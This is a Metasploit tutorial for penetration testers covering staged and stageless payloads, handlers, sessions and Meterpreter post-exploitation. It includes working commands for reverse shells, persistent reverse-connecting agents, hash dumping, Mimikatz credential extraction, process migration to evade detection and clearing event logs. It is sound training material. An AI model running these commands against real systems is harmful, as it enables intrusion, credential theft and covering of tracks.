Payloads, Sessions, and Handlers

The Payload Delivery Problem

After exploiting a vulnerability, you need to deliver a payload to the target. The payload is the code that runs on the compromised system and gives you control. How you deliver that payload — all at once or in stages — affects reliability, detectability, and compatibility.

Staged Payloads

Staged payloads work in two phases:

1. Stager — A small piece of code that runs first. Its only job is to fetch the second stage.
2. Stage — The full payload (e.g., Meterpreter) is downloaded from your machine and executed.

Target runs stager → Stager connects to you → You send full payload → Payload executes

Advantages:

• Small initial footprint — The stager is tiny (a few hundred bytes), making it easier to inject into memory-constrained vulnerabilities
• Flexibility — You can change the payload after the stager is deployed without re-exploiting
• Works with size-limited exploits — Buffer overflows with small buffer spaces can only accommodate a stager

Disadvantages:

• Requires network connection — If the stager cannot reach you, the payload fails
• More detectable — The second-stage download can be caught by network monitoring
• Two points of failure — Both the stager and the stage must succeed

Example staged payloads:

windows/meterpreter/reverse_tcp
linux/x64/meterpreter/reverse_tcp

Stageless Payloads

Stageless payloads are self-contained — the entire payload is delivered in one shot.

Target receives full payload → Payload executes immediately

Advantages:

• No network dependency — Works even if the target cannot reach you after exploitation
• More reliable — Single delivery, no second-stage download to fail
• Better for restricted networks — When outbound filtering is strict, stageless payloads work because they do not need to fetch a second stage

Disadvantages:

• Larger size — The entire payload must fit in the exploit's buffer
• Less flexible — Cannot change the payload after deployment without re-exploiting
• More detectable — Larger payloads are more likely to be caught by antivirus

Example stageless payloads:

windows/meterpreter_reverse_tcp
linux/x64/meterpreter_reverse_tcp

Choosing the Right Payload

Practical Example: Choosing a Payload

Scenario 1: You exploit a buffer overflow with a 500-byte buffer. The target is on the same network.

→ Use a staged payload. The stager fits in the buffer, and the target can reach you for the second stage.

Scenario 2: You exploit a command injection vulnerability. The target is behind a strict firewall that blocks outbound connections.

→ Use a stageless payload. The full payload is delivered in the exploit, and no outbound connection is needed for payload delivery.

Scenario 3: You exploit a web application and want flexibility to try different payloads.

→ Use a staged payload. Deploy the stager once, then try different second stages without re-exploiting.

The Multi/Handler

The multi/handler is Metasploit's payload listener. It waits for incoming connections from reverse payloads and manages the sessions they create. You need a handler running before you deploy a reverse payload.

Setting Up Multi/Handler

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
msf6 > exploit

The handler starts listening on the specified port. When a reverse payload connects, the handler receives the connection and opens a session.

Handling Multiple Payloads

The multi/handler can listen for multiple payload types simultaneously:

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
msf6 > exploit -j

Run multiple handlers on different ports for different payloads:

# Handler 1: Windows Meterpreter on 4444
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LPORT 4444
msf6 > exploit -j

# Handler 2: Linux Meterpreter on 5555
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LPORT 5555
msf6 > exploit -j

Session Management Commands

# List all sessions
msf6 > sessions

# Interact with a session
msf6 > sessions -i 1

# Run a command in a session without interacting
msf6 > sessions -i 1 -c "sysinfo"

# Upgrade a shell to Meterpreter
msf6 > sessions -u 1

# Kill a session
msf6 > sessions -k 1

# Kill all sessions
msf6 > sessions -K

Backgrounding Sessions

When you interact with a session and want to return to the msfconsole prompt:

Meterpreter > background

Or press Ctrl+Z. The session continues running in the background.

Session Persistence

Sessions can be lost if:

• The payload process crashes
• The target reboots
• The network connection drops

To maintain access, use persistence mechanisms:

Meterpreter persistence:

Meterpreter > run persistence -X -i 60 -p 4444 -r 192.168.1.50

This installs a persistent Meterpreter agent that starts on system boot and reconnects every 60 seconds.

Run a script in the background:

Meterpreter > run post/multi/manage/shell_to_meterpreter

This upgrades a basic shell to a Meterpreter session with more capabilities.

Practical Example: Catching Multiple Sessions

You have deployed payloads to three targets. You set up a multi/handler:

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
msf6 > exploit -j

As targets connect, sessions appear:

[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49152)
[*] Meterpreter session 2 opened (192.168.1.50:4444 -> 192.168.1.101:49153)
[*] Meterpreter session 3 opened (192.168.1.50:4444 -> 192.168.1.102:49154)

You interact with each session:

msf6 > sessions -i 1
Meterpreter > sysinfo
Meterpreter > background

msf6 > sessions -i 2
Meterpreter > getuid
Meterpreter > background

Common Issues

• No session after exploit — The handler was not running, or the payload could not reach the handler (firewall, wrong IP/port)
• Session dies immediately — The payload process crashed; check antivirus logs on the target
• Multiple sessions on same port — Use different LPORT values for different payloads
• Session hangs — The payload is waiting for input; try Ctrl+C to interrupt

What Makes Meterpreter Special

Meterpreter is Metasploit's most advanced payload. Unlike a simple shell, Meterpreter:

• Runs entirely in memory (no disk footprint)
• Encrypts all communications
• Provides extensive post-exploitation commands
• Can migrate between processes to avoid detection
• Supports extension loading for additional functionality

Essential Meterpreter Commands

System information:

Meterpreter > sysinfo          # OS, architecture, domain
Meterpreter > getuid           # Current user
Meterpreter > ps               # List processes
Meterpreter > shell            # Drop to system shell

File operations:

Meterpreter > pwd              # Current directory
Meterpreter > ls               # List files
Meterpreter > download /etc/passwd
Meterpreter > upload /tmp/malware.exe
Meterpreter > edit /etc/hosts

Network commands:

Meterpreter > ipconfig         # Network interfaces
Meterpreter > route           # Routing table
Meterpreter > portfwd -l 8080 -p 80 -r 127.0.0.1  # Port forwarding

Credential harvesting:

Meterpreter > hashdump        # Windows password hashes
Meterpreter > load kiwi        # Load Mimikatz for credential extraction
Meterpreter > kiwi_cmd 'sekurlsa::logonpasswords'

Persistence:

Meterpreter > run persistence -X -i 60 -p 4444 -r 192.168.1.50
Meterpreter > run getcountermeasure  # Check antivirus status

Process Migration

Meterpreter can migrate to another process to avoid detection:

Meterpreter > ps
# Find a stable process (e.g., explorer.exe, PID 2000)
Meterpreter > migrate 2000

After migration, Meterpreter runs inside the target process. If the original payload process is killed, the session survives.

Meterpreter Extensions

Load additional functionality:

Meterpreter > load kiwi        # Mimikatz for credential extraction
Meterpreter > load incognito   # Token impersonation
Meterpreter > load priv        # Privilege escalation helpers
Meterpreter > load sniffer     # Network packet capture

Practical Example: Post-Exploitation Workflow

You have a Meterpreter session on a Windows target:

Meterpreter > sysinfo
Computer        : TARGET-PC
OS              : Windows 10 (Build 19042)
Architecture    : x64
Domain          : CORP
Logged On Users : 2

Meterpreter > getuid
Server username: CORP\jdoe

Meterpreter > ps
# Find explorer.exe (PID 2000)
Meterpreter > migrate 2000

Meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jdoe:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Meterpreter > load kiwi
Meterpreter > kiwi_cmd 'sekurlsa::logonpasswords'
# Extract plaintext credentials from memory

Meterpreter > background

Maintaining Access

For long-term access during an engagement:

1. Persistence — Install a persistent agent that survives reboots
2. Multiple sessions — Maintain sessions on multiple systems
3. Privilege escalation — Escalate to SYSTEM/root for full access
4. Lateral movement — Use extracted credentials to access other systems

Cleaning Up

After the engagement, remove all artifacts:

Meterpreter > clearev         # Clear event logs
Meterpreter > rm /tmp/payload.exe

Document all cleanup steps in your report.